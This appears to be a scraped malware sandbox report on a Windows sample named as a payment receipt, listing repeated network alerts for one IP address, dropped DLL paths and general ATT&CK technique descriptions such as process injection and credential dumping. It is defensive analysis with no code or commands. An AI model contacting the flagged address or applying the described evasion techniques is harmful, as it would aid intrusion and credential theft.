Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Dekont#400577_89008_96634.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll

Windows Analysis Report
Dekont#400577_89008_96634.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre